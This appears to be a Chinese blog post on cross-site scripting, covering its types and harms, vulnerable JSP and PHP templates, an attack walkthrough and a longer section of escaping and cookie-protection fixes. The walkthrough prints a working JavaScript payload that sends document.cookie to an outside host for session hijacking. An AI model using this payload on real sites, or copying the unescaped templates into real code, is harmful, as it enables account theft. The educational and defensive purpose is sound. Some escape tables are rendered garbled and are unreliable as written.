XSS实例

Cross Site Script

攻击者利用应用程序的动态展示数据功能,在 html 页面里嵌入恶意代码。当用户浏览该页之时,这些嵌入在 html 中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的。

1.分类

  • 👻反射型跨站脚本攻击
    攻击者会通过社会工程学手段,发送一个 URL 连接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。
  • 存储型跨站脚本攻击
    攻击者利用 web 应用程序提供的录入或修改数据功能,将数据存储到服务器或用户cookie 中,当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本。所有浏览者都会受到攻击。
  • 🦐DOM型跨站攻击
    由于 html 页面中,定义了一段 JS,根据用户的输入,显示一段 html 代码,攻击者可以在输入时,插入一段恶意脚本,最终展示时,会执行恶意脚本。DOM 跨站和以上两个跨站攻击的差别是, DOM 跨站是纯页面脚本的输出,只有规范使用 JAVASCRIPT,才可以防御。

2.危害

  1. 盗取用户 cookie,伪造用户身份登录。
  2. 控制用户浏览器。
  3. 结合浏览器及其插件漏洞,下载病毒木马到浏览者的计算机上执行。
  4. 衍生 URL 跳转漏洞。
  5. 让官方网站出现钓鱼页面。
  6. 蠕虫攻击

3.代码示例

  • 直接在html页面展示“用户可控数据”,将直接导致跨站脚本威胁
    • java实例,某jsp文件
while(rs.next()){
%>
<tr>
<td><%=rs.getInt("id") %></td>
<td><%=rs.getString("pname")%></td>
<td><%=rs.getString("pdesc")%></td>
<td><%=rs.getString("ptype")%></td>
</tr>
<%
}

代码中这几个加粗的变量“rs.getInt(“id”)、 rs.getString(“pname”)、rs.getString(“pdesc”)、 rs.getString(“ptype”)” ,被直接输出到了页面中,没有做任何安全过滤,一旦让用户可以输入数据,都可能导致用户浏览器把“用户可控数据”当成JS/VBS 脚本执行,或页面元素被“用户可控数据”插入的页面 HTML 代码控制,从而造成攻击。
– php实例

<tr>
<td><?=$row["id"] ?></td>
<td><?=$row["pname"]?></td>
<td><?=$row["pdesc"]?></td>
<td><?=$row["ptype"]?></td>
</tr>
  • 若实例代码是我一个web应用,恶意用户可以做到以下攻击
  1. 添加产品时插入恶意脚本
    在这里插入图片描述
    攻击者发布产后,等待用户来浏览产品列表页面
  2. 一个用户浏览页面
    /ZCKL3lnPYOk7mgo.png)
    页面中直接显示了攻击者当时提交的“pdesc”的内容,也就是恶意脚本。将执行 http://inbreak.net/a.js 这个 JS 脚本。
    脚本内容:
a=document.createElement("iframe");
function b(){e=escape(document.cookie);
c=["http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie=",e,Math.random()];
document.body.appendChild(a);
a.src=c.join();}setTimeout('b()',5000);

获取当前浏览者的 COOKIE,并发送到 a.php,这个文件负责接收到用户发来的cookie,并保存为 haha.txt 文件。这时,用户的 cookie 已经发送到了攻击者的服务器上,攻击者可以打开 haha.txt 文件。
在这里插入图片描述
这就是刚才那个用户的 cookie,攻击者可以使用浏览器插件,把自己的 cookie 替换成刚刚窃取用户的 cookie。之后攻击者再次访问服务器时,服务器应用程序,就认为攻击者的身份是刚刚那个用户。

4.解决方案

  • html/xml页面输出规范
  1. 在 HTML/XML 中显示“用户可控数据”前,应该进行 html escape 转义。
    • JAVA 示例:
      java
      <div>#escapeHTML($user.name) </div>
      <td>#escapeHTML($user.name)</td>
      所有 HTML 和 XML 中输出的数据,都应该做 html escape 转义。
  • escapeHTML 函数参考 esapi 实现
    • php实例
      php
      <div>htmlentities($row["user.name"])</div>
      所有 HTML 和 XML 中输出的数据,都应该做 html escape 转义。
- escapeHTML 需要进行 html 转义应该按照以下列表进行转义
```
& --> &
< --> <
> --> >
" --> "
' --> '
```
  1. 在 javascript 内容中输出的“用户可控数据”,需要做 javascript escape 转义。html 转义并不能保证在脚本执行区域内数据的安全,也不能保证脚本执行代码的正常运行。
    • java 实例
      java
      <script>alert('#escapeJavaScript($user.name)')</script>
      <script>x='#escapeJavaScript($user.name)'</script>
      <div onmouseover="x='#escapeJavaScript($user.name)'"</div>
      #需要转义的字符包括
      / --> \/
      ' --> \'
      " --> \"
      \ --> \\
  1. 对输出到富文本中的“用户可控数据”,做富文本安全过滤(允许用户输出 HTML的情况)。
  • 示例(Fasttext 框架):
<td>文章内容: </td><td>#SHTML($article.context)</td>
  • 安全过滤的代码,请参考“Fasttext 框架”的富文本输出函数。Fasttext 源码
  1. 输出在 url 中的数据,做 url 安全输出。一些 html 标签的属性,需要,如果接收“用户可控数据”,需要做安全检查。以下属性的值,如果是用户可控数据,需要做安全检查
'action', 'background', 'codebase', 'dynsrc', 'href', 'lowsrc', 'src'
  • 这些属性的值,一般都是一个 URL,如果整串 URL 都是由“用户可控数据”组成的,则必须满足以下条件:
  • a. 以“http”开头
char[] uc = url.toCharArray();
if(uc[0] != 'h' || uc[1] != 't' || uc[2] != 't' || uc[3] != 'p'){
return "";}
/*转义“用户可控数据”中的以下字符
< --> %3C
> --> %3E
" --> %22
' --> %27
- c.Surl 函数参考 [fasttext 框架中的实现](http://svn.alibaba-inc.com/repos/ali_cn/commons/headquarters/trunk/commons/fasttext/src/java/com/alibaba/china/fasttext/codec/URLRebuilder.java)

5. 针对 DOM 跨站的解决方案,[详见《javascript 安全编码规范》](http://security.alibaba-inc.com/twiki/bin/view/Security/SecuritySolution/JavaScript%E7%BC%96%E7%A0%81%E5%AE%89%E5%85%A8%E8%A7%84%E8%8C%83)

6. 在给用户设置认证 COOKIE 时,加入 HTTPONLY,详见《Cookie httponly flag》章节
7. 在 style 内容中输出的“用户可控数据”,需要做 CSS escape 转义。
    -  举例使用:
``String safe = ESAPI.encoder().encodeForCSS( request.getParameter("input") );``
    - encodeForCSS [实现代码参考](http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/CSSCodec.java)
    - AJAX 输出规范:
    -  XML 输出“用户可控数据”时,对数据部分做 HTML 转义。
     示例:

```xml
<?xml version="1.0" encoding="UTF-8" ?>
<man>
<name>#xmlEscape($name)</name>
<man>
  • json 输出要先对变量内容中的“用户可控数据”单独作 htmlEscape,再对变量内容做一次 javascriptEscape。
String cityname=”浙江<B>”+StringUtil.htmlEscape(city.name)+”</B>”;
String json =
"citys:{city:['"+
StringUtil.javascript(cityname) +
"']}";
  1. 非 xml 输出(包括 json、其他自定义数据格式), response 包中的 http 头的contentType,必须为 json, 并且用户可控数据做 htmlEscape 后才能输出
response.setContentType("application/json");
PrintWriter out = response.getWriter();
out.println(StringUtil.htmlEscape(ajaxReturn));

发表评论

电子邮件地址不会被公开。